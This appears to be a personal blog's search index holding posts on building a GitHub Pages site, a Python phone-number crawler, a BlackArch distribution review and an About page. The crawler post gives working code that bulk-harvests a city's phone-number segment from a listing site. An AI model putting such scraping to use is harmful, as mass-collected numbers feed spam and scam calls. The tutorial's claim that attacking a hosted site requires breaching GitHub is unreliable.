","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:1:0","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"What is GitHub? Newbie: Hey, what is GitHub, senpai? Senpai: I don’t know, go away. Newbie: sobs Senpai, you won’t help me anymore, sobs Ahem… Github is a source code hosting platform based on Git. It was founded by Chris Wanstrath, PJ Hyett, and Tom Preston-Werner in April 2008. Currently, it has 59 full-time employees and primarily offers version control services based on Git. It is often jokingly referred to as Gayhub by some people. HaHa! Today, GitHub is: A community with 1.43 million developers. It includes top-level hackers like Linux creator Torvalds and young geeks like Rails founder DHH. The most popular open-source hosting service on this planet. It currently hosts 4.31 million Git projects. Not only are more and more well-known open-source projects migrating to GitHub, such as Ruby on Rails, jQuery, Ruby, Erlang/OTP, but also popular open-source libraries of the past three years tend to debut on GitHub, for example, Bootstrap, Node.js, CoffeeScript, and more. Ranked 414 globally according to Alexa. In other words, if you want to release your well-written open-source program, GitHub would be the best choice. ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:2:0","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Main Content of this Issue This issue will cover how to use GitHub to build a simple website. ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:3:0","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Benefits of Using GitHub for Website Development Security Since your website source code is hosted on GitHub, the security of your website is directly tied to the security of GitHub itself. If someone wants to attack your website, they would need to compromise GitHub first. Simplicity Most operations can be easily accomplished with basic front-end knowledge. Peace of Mind With GitHub’s server handling the back-end, you don’t need to maintain it 24/7. It can be set up to run without constant supervision. ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:3:1","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Drawbacks of Using GitHub for Website Development Limitations GitHub repositories can only run static web pages based on technologies like HTML. It doesn’t support dynamic features like databases and other advanced functionalities. Prohibition of Web Crawlers GitHub repositories are not indexed by search engines, which means that websites hosted on GitHub won’t be discoverable through search engine results.(In reality, it has been proven that GitHub-hosted websites can be indexed by search engines.) The above points outline the advantages and disadvantages of using GitHub for website development. Before starting the building process, it is crucial to carefully consider your specific circumstances and requirements. ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:3:2","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Detailed Tutorial ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:4:0","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Preparation Account Registration Firstly, you need to register an account on GitHub. It only requires an email address for registration. The specific steps are straightforward and most people are familiar with the process. Creating a Repository Once you have logged into your account, you will see a green new button in the top-left corner. Click on it. Then, a form will pop up asking you to fill in some information. As shown in the image, the Repository name refers to the name of your repository. Note: GitHub only allows using a repository name that is the same as your username for hosting webpages. Here is a special format: yourGitHubUsername.github.io This repository name will become your website address. Once created, the repository will be empty. At this point, you can follow the prompts to upload your website code as instructed. ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:4:1","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Uploading Code Here, I will provide a portion of the usage of git. First, create a directory: $ mkdir ./YourGitHubUsername The name of this directory can be arbitrary, but for better management, it is recommended to use your GitHub username. Next, navigate into this directory: $ cd ./YourGitHubUsername Execute: $ git init This command initializes the directory as a Git repository. If you don’t understand it, you can learn more about Git here. Next, you can start creating and writing your website code. For example, let’s create a simple HTML file. First, create an index.html file: $ vim ./index.html Here, we use vim, which will automatically open an editing page in your terminal. Next, press the i key to enter the editing mode. Inside the file, enter the following code: \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003ctitle\u003eHelloWorld\u003c/title\u003e \u003c/head\u003e \u003cbody\u003e \u003ch1\u003eHelloWorld\u003c/h1\u003e \u003cp\u003eHelloWorld, this is my first website.\u003c/p\u003e \u003c/body\u003e \u003c/html\u003e You can use HTML language to freely write your website. You can add multiple HTML page files, CSS stylesheets, and even JavaScript to enhance your website. After finishing writing your code, press the ESC key to exit the editing mode and return to command mode. Next, press the : key, and you will see a colon appearing at the bottom left corner of your vim. :wq Next… execute $ git add index.html This will stage your created web page code file for commit. If you have multiple files, you can try $ git add * This way, you can quickly stage all your files for commit. Then, execute the following commands one by one to commit your changes: $ git commit -m \"first commit\" $ git remote add origin https://github.com/YourGitHubUsername/YourGitHubUsername.github.io.git $ git push -u origin master Next, enter your GitHub username and password to complete the submission. After that, you can access your website in a web browser. The address is as mentioned above: YourGitHubUsername.github.io Screenshot: ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:4:2","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"Conclusion The above is the complete process of building a simple website using GitHub. Due to time constraints, this is all that can be covered for now. The next issue may be delayed for a while. ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:5:0","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Web"],"content":"References Git Tutorial Archwiki | Vim Archwiki | Git HTML Tutorial ","date":"2019-10-13","objectID":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/:6:0","tags":["Notes","HTML","GitHub Pages","Website","Web Development"],"title":"How to Build a Website Using GitHub","uri":"/posts/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8github%E6%90%AD%E5%BB%BA%E7%BD%91%E7%AB%99_%E4%B8%8A/"},{"categories":["Programming"],"content":"Although the website being crawled has been shut down...","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"A Casual Preface Hey, I’m back. Today, I set up hexo in my U-disk, so I can continue to update my blog. And this time I added a visitor counter to my blog. Feel free to help increase the count!～ So, in this post, I will introduce a simple web crawler implemented in Python. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:1:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Principles of Web Crawlers Beginner: Hey there, what is a web crawler? Expert: Go search it on a search engine. Beginner: I did, but I still don’t understand it. Expert: Uh…then keep reading… ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:2:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Overview To put it simply, a web crawler automates the process of browsing web pages to extract desired information and content from them. We all know that we use web browsers to access the Internet. So how do we visit a webpage? Here’s a brief overview (I’m too lazy to draw): Browser –Sends a request for www.bing.com–\u003e Server \u003c–Receives the request– Server –Responds with data–\u003e –Returns the data–\u003e Browser What? Still confused? Let’s take a look using a browser. Open any webpage. Using Chrome/Chromium as an example, right-click and select “Inspect”, then go to the “Network” tab, and check the “Preserve log” checkbox. Refresh the page and you’ll see the following content: As you can see, the browser displays the request content in great detail. And the left lists are the contents you retrieve from the website. A web crawler automates these processes so that we don’t need to visit websites manually to get the information we want. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:2:1","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"The Purpose of Web Crawlers For example, let’s say there is a website 全国号码段(链接已失效) where we need to obtain all the phone numbers of one of the phone number segments in a city, such as Xi’an. As you can see, there are many phone number segments, each with ten thousand phone numbers. What should we do? Can’t we copy and paste them one by one using the mouse, right? This is where web crawlers come into play. Actually, it can also be used to crawl my blog so that you can receive update information in a timely manner. Ah, please don’t hit me, it hurts! ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:2:2","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Choosing a Programming Language To perform web crawling, we need to use a programming language. The most commonly used one is Python because it is easy to use for web crawling. However, you can also choose other languages such as C/C++, Java, or even Visual Basic. The level of difficulty and coding methods may be different, but the purpose and functionality are the same. In this post, we will choose Python. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:3:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Installing Python Python is a cross-platform language, so installation methods differ depending on the platform. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:4:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Windows You can download the installation program from Python’s official website and install it. It is recommended to download Python 3. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:4:1","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Mac OSX Download it from Python’s official website ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:4:2","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Linux Install it via package manager. deb-based $ sudo apt-get install python3 Arch-based $ sudo pacman -S python rpm-based $ sudo yum install python3 ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:4:3","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Android Install QPython on the Android platform: Download it from Coolapk QPython Official Website ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:4:4","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Installing pip The installation programs for Windows and Mac OS X will automatically install pip, but Linux does not. We need to install it manually. What? You’re asking about Android? I don’t know either, hahaha. First, go to this website，and click Download，Download the second tar.gz file, which is a Linux compressed file. Then, extract it to get a pip-19.2.2 directory: $ tar -xvf pip-19.2.2.tar.gz Enter the directory: $ cd ./pip-19.2.2 There is a file called setup.py in there. Execute it using Python: $ sudo python setup.py Then pip will be installed automatically. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:5:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Required Modules The web crawler in this post uses the following modules: requests, for sending HTTP/1.1 requests BeautifulSoup, for parsing HTML and XML documents We can install them using the following command: $ sudo pip install requests BeautifulSoup If you find that the installation speed is slow, you can refer to this link to change the mirror source to a domestic one. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:6:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"Public Code Here’s the code for a simple phone number crawler: from bs4 import BeautifulSoup import requests print(\"简易手机号码抓取工具 By WeepingDogel\") url=\"http://www.hiphop8.com/mobile/xian_1319339.html\" page=requests.get(url) page_info=page.content soup = BeautifulSoup(page_info, \"html.parser\") numbers = soup.find_all('a') with open(\"1319339.txt\",\"w\") as file: for number in numbers: print(number.string) file.write(str(number.string)+\"\\n\") You can copy the above code into a Python file and run or modify it as needed. ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:7:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Programming"],"content":"In Conclusion I wrote this post in a hurry, so it may not be detailed enough. Please forgive me. There’s a comment section below, feel free to leave comments (or criticize me). ","date":"2019-08-13","objectID":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/:8:0","tags":["Notes","Linux","Python","Programming","Web Crawler"],"title":"Python Learning Notes: Simple Web Crawler","uri":"/posts/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0_%E7%AE%80%E5%8D%95%E7%88%AC%E8%99%AB/"},{"categories":["Linux"],"content":"A nonsensical review of my experience with BlackArch...","date":"2019-06-16","objectID":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/","tags":["Linux","Arch Linux","Penetration Testing","Hacking"],"title":"BlackArch Experience Report","uri":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"categories":["Linux"],"content":" Today, I attempted to install BlackArch and spent quite a long time doing so. However, I later discovered that this system was not very perfect. ","date":"2019-06-16","objectID":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/:0:0","tags":["Linux","Arch Linux","Penetration Testing","Hacking"],"title":"BlackArch Experience Report","uri":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"categories":["Linux"],"content":"Advantages Firstly, let’s talk about its advantages: This thing integrates thousands of software packages, all of which are powerful tools. Secondly, this thing is cool, especially the wallpaper and color matching, which I think are particularly stunning. Its ease of installation is also a plus. Initially, I thought it would be more difficult to install than Arch, but after using it, I found that its installation process is ten times simpler than Arch. It’s just that I’m used to the manual style of Arch and not accustomed to this semi-automated approach. ","date":"2019-06-16","objectID":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/:1:0","tags":["Linux","Arch Linux","Penetration Testing","Hacking"],"title":"BlackArch Experience Report","uri":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"categories":["Linux"],"content":"Disadvantages Now, let’s talk about the disadvantages: First of all, the ISO is really too big. The official live ISO for BlackArch is 12GB, which took me a long time to download using IDM. The network installation package is the same size as Arch, but I haven’t tried it. What’s more alarming is that the minimum hard disk requirement for installing blackarch’s official mirrors is over 40GB, which makes it difficult for most people to meet this installation condition. Secondly, its desktop environment is too basic and its performance is particularly poor, especially for i3 and spectrwm, which are impossible to operate. Fluxbox is the coolest, but its habits are not suitable for most people. Openbox has nothing, and it’s even harder to operate. It also doesn’t support Chinese, which is very annoying. Also, the dependencies are too messy, making it difficult to switch to other desktop environments. For example, when I wanted to uninstall others and switch to xfce, I couldn’t uninstall them with “pacman -Rs”. I had to use “Rsc” to uninstall them, but as a result, I uninstalled “lxdm”, which prevented me from entering graphics mode. Later, when I installed “lxdm”, there was a major color bug. ","date":"2019-06-16","objectID":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/:2:0","tags":["Linux","Arch Linux","Penetration Testing","Hacking"],"title":"BlackArch Experience Report","uri":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"categories":["Linux"],"content":"Conclusion Firstly, it cannot be denied that BlackArch is a good thing for showing off, but I do not recommend using the official mirror (whether it is an online mirror or an offline live one) for installation, otherwise, you will end up like me. Secondly, users must have a foundation in the Arch series; otherwise, it will be a pitfall. It is recommended to install Arch first and then import BlackArch’s software library to install the full set of tools. Finally, please do not compare BlackArch with Kali or Parrot. They are not comparable in terms of tools. ","date":"2019-06-16","objectID":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/:3:0","tags":["Linux","Arch Linux","Penetration Testing","Hacking"],"title":"BlackArch Experience Report","uri":"/posts/%E5%85%B3%E4%BA%8Eblackarch%E7%9A%84%E4%BD%93%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"categories":"about","content":"Once lost thing will never be able to come back.","date":"0001-01-01","objectID":"/about/","tags":["about"],"title":"About","uri":"/about/"},{"categories":"about","content":" Introduction Hello, I’m WeepingDogel, a college student. I’m Young, Male, Arch User, Python beginner Skills Learning Operating System Editor Browser Contact About My Avatar Ciel Phantomhive is the young head of the Phantomhive family and a nobleman shrouded in mystery and elegance. As the owner of Funtom Corporation and the Queen’s Watchdog, his royal blue eye, which peers from beneath his dark eyepatch, hints at his complex nature and the darker, hidden facets of his work. This avatar captures Ciel’s enigmatic presence and poised demeanor, perfect for showcasing a persona of sophistication with an undertone of intrigue. Copyright Statement Unless otherwise noted, all articles on this website are original. This website follows the CC-BY-NC 4.0 license Please indicate the link when reprinting. Some articles use screenshots as covers, most article cover images are from wallhaven.cc. Links lilydjwg’s Blog 李皓奇 | liolok.com crzy233.github.io mushin2k’s blog Piggy’s Blog 欠陥電気の摸鱼小池 111的 Blog 首页-zhyjc6’s Blog Home | website_project ⑨BIE Garden in the Wonderland 欧式的Blog Dec KiraPGR’s Blog Lynnrin’s Blog poly000客栈 rcd的博客 PangLAN ’s Blog Toka’s Blog Mare_Infinitus - 无限深海 Episode 33’s Blog Jinze’s blog ","date":"0001-01-01","objectID":"/about/:0:0","tags":["about"],"title":"About","uri":"/about/"}]